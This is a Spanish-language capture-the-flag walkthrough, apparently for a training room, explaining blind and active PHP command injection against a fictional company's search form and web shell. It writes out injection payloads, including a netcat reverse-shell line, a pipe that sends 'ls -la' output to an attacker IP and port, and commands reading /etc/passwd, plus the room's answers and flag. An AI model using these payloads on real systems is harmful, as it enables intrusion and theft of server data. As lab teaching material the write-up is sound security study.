Hoy día, uno de los lenguajes más extendidos y veteranos para crear aplicaciones web es PHP.

Debido a su popularidad y compatibilidad con Windows y Linux, usaremos PHP para estudiar la posibilidad de inyectar comandos.

Introducción a la inyección de comandos

La inyección de comandos ocurre cuando el código de una aplicación web ejecutado en el servidor (server side), como PHP, realiza una llamada de sistema a la máquina que lo aloja.

Esta es una vulnerabilidad web que permite a un atacante tomar ventaja de esa llamada para ejecutar comandos de sistema en el ordenador.

A veces, estos comandos serán inofensivos (como whoami) o se podrán leer archivos. Pero puede volverse mucho peor e incluso dar lugar a la invoación de una shell para convertirse en el usuario de sistema.

Una simple instrucción:

;nc -e /bin/bash

Es todo lo que se podría necesitar.

Una vez que un atacante ha conseguido una cabeza de playa en el servidor, puede comenzar con la enumeración y con maneras de pivotar.

Inyección ciega de comandos

Ocurre cuando la llamada de sistema que se hace no devuelve la respuesta a dicha llamada al Document Object Model (o DOM, modelo en objetos para la representación de documentos), una interfaz de programación estandarizada para la estructuración de documentos HTML y XML.

El DOM en donde el HTML se reproduce y se muestra.

Como no vamos a profundizar aquí en conceptos de desarrollo web, para los propósitos que tenemos, el DOM lo consideramos el lienzo de un documento html.

A veces, el usuario introduce un comando de prueba para ver si el servidor es vulnerable a la inyección de comandos. El comando es ejecutado por el código en el servidor y dicho código no devuelve la respuesta.

Por ejemplo, vamos a echar un vistazo al siguiente código de una aplicación de Búsqueda de Directorio que ha desarrollado la empresa ficticia Evil Corp.

Está escrito de una manera muy pobre y es vulnerable a la inyección ciega de comandos.

Código PHP vulnerable a la inyección de comandos

Vamos a interpretar lo que hace en pseudocódigo.

  1. Chequea si el parámetro “username” se ha configurado.
  2. Si lo está, entonces la variable $username es igual a lo que se haya puesto en el campo del formulario.
  3. La variable $command obtiene el comando de sistema “awk -F: ‘{print $1}’ /etc/passwd | grep $username”; donde $username es lo que se ha introducido en 2. Este comando imprime la lista de usuarios de /etc/passwd y selecciona el que se haya introducido. Importante notar que todavía no se ha ejecutado nada.
  4. La variable $returned_user obtiene entonces el valor de resultado/retorno de la función exec($command).

El resto del código es bastante sencillo: pone $result en una clase de alerta de error de Bootstrap si no ha encontrado nada en /etc/passwd y en una clase de alerta de éxito si ha encontrado algo.

Maneras de detectar la inyección ciega de comandos

Como se ha mencionado, la inyección ciega ocurre cuando la respuesta a la petición HTTP no se devuelve al DOM. Podemos ver en el código que la respuesta nunca retorna a ningún lugar de la página.

Lo único que viene devuelto es una alerta que nos dice si ha encontrado el usuario o no.

Para los propósitos de esta habitación, hay una alerta que nos dice qué está pasando, pero a veces no será tan fácil, así que aquí hay algunas maneras de saber si tenemos inyección ciega de comandos o no.

Ping!

Ya que el código hace una llamada de sistema de alguna manera, un ping puede causar que la página continúe cargando hasta que el comando se haya completado.

De esta manera, si enviamos un ping con 10 paquetes ICMP, la página tardaría en cargarse unos 10 segundos, si envías 20 paquetes, pues unos 20 segundos y así.

ping -c 10 www.google.com # Ejemplo de envío de un ping con 10 paquetes (corta a los 10)

Redirección del resultado (output)

Aunque ping suele bastar para detectar la vunerabilidad de inyección de comandos, también podemos intentar redireccionar el resultado de un comando a un archivo.

Luego, usando el navegador, vamos hasta la página donde se haya guardado el archivo y comprobamos si existe y hemos tenido éxito.

Sabemos que el operador de Bash “>” redirige el resultado a un archivo y podríamos probar a redirigir comandos como id, whoami, netstat, ip addr…

Desviando la inyección ciega con Netcat

Hay una manera de hacer bypass a la inyección ciega con Netcat.

Podemos ser capaces de usar la característica pipe para que el resultado de un comando sea derivado hasta un escuchador de Netcat.

En el ejemplo de esta habitación y la máquina que despliega, podríamos hacer algo así como:

root; ls -la | nc IP_Ataque Puerto

Esto enviaría el resultado del comando “ls -la” a nuestro escuchador Netcat que tendríamos configurado en el puerto determinado que le pasamos en el comando anterior.

Sabiendo todo esto, vamos con las tareas de la habitación sobre inyección ciega d comandos.

Haz un ping a la máquina con 10 paquetes. ¿Cuál es el comando a usar? (sin dirección IP).

Navegamos hasta la máquina en Firefox y vemos una barra de búsqueda. Allí ponemos.

juan; ping -c 10 IP_Objetivo

Pongo Juan por poner algo que busque en /etc/passwd, aunque parece innecesario. A continuación pongo “;” que es el operador que, en Linux, permite ejecutar varios comandos en una misma línea independientemente de que el primero tenga éxito o no, de manera que, pase lo que pase con lo que hay a la izquiera del “;” se va a ejecutar lo que hay a la derecha.

Así que la respuesta a la pregunta es:

; ping -c 10

Redirige la versión del Kernel de Linux a un archivo en el servidor web. ¿Cuál es esa versión?

La versión del kernel se consigue con este comando de Linux:

uname -r

Con lo que para redirigir la respuesta del comando a un archivo, deberíamos poner:

uname -r > archivo.txt

Así que escribimos eso tras el ; en la barra de búsqueda.

Ahora, nos vamos hasta la dirección IP_Objetivo/archivo.txt para obtener la respuesta:

4.15.0-101

Introduce root en la barra y mira la alerta. ¿Qué tipo de alerta obtenemos?

success

Introduce www-data en la búsqueda. ¿Qué tipo de alerta tenemos?

success

Introduce tu nombre en la búsqueda. ¿Qué tipo de altera obtenemos?

error

Inyección de comandos activa

La inyección activa sí que devuelve la respuesta al usuario y puede ser visible a través de varios elementos HTML.

En esta habitación, EvilCorp ha comenzado el desarrollo de una shell basada en web pero la ha dejado expuesta por accidente.

Es vulnerable a inyección activa, así que analicemos el código:

Inyección de comandos activa

De nuevo en pseudocódigo, explicamos lo que hace:

  1. Chequea si el parámetro “commandstring” está dado.
  2. Si es así, la variable $command_string obtiene lo que se haya pasado en el campo del formulario.
  3. El programa comienza un bloque try para ejecutar la función passthru($command_string) que, en general, viene a significar que ejecuta lo que se haya metido en el formulario y pasa el resultado directamente de vuelta al navegador.
  4. Si try no tiene éxito, el error también se muestra. Normalmente, no mostrará nada porque no puedes devolver el stderr, pero PHP no permite hacer try sin un catch.

Maneras de detectar inyección activa de comandos

Sabemos que la inyección activa de comandos ocurre cuando puedes ver la respuesta. Así que vamos probando comandos para enumerar y ver qué pasa tras el telón.

Comandos a probar:

Linux

  • whoami
  • id
  • ifconfig/ip addr
  • uname -a
  • ps -ef

Windows

  • whoami
  • ver
  • ipconfig
  • tasklist
  • netstat -an

Para responder a las preguntas nos vamos hasta IP_Objetivo/evilshell.php en la máquina desplegada.

¿Qué extraño archivo de texto hay en el directorio raíz de la web?

Hacemos un sencillo:

ls -hl

drpepper.txt

¿Cuántos usuarios que no sean root/servicio/demonio hay?

Leemos el archivo /etc/passwd y contamos:

cat /etc/passwd

0

¿Qué usuario está corriendo esta aplicación?

whoami

www-data

¿Qué shell está configurada como la del usuario?

echo "$SHELL" # Es una de las opciones, pero no da nada como resultado, así que miramos el /etc/passwd
cat /etc/passwd

/usr/sbin/nologin

¿Qué versión de Ubuntu está corriendo?

lsb_release -a

18.04.4

Imprime el MOTD (Mensaje del día o Message Of The Day). ¿Qué bebida favorita aparece? (La pista dice 00-header, así que)

cat /etc/update-motd.d/00-header

Dr. Pepper

Obtener la bandera

Nos pide obtener la bandera y podemos explotar cualquiera de las dos vulnerabilidades, ciega o activa. Mejor la activa, la verdad.

La pista me pone que no hay escalada de privilegios, así que, en evilshell.php, ejecuto:

find / -iname "flag*" 2>/dev/null # Busca un archivo flag, aparece un /etc/flag.txt
cat /etc/flag.txt # Lo leo

65fa0513383ee486f89450160f3aa4c4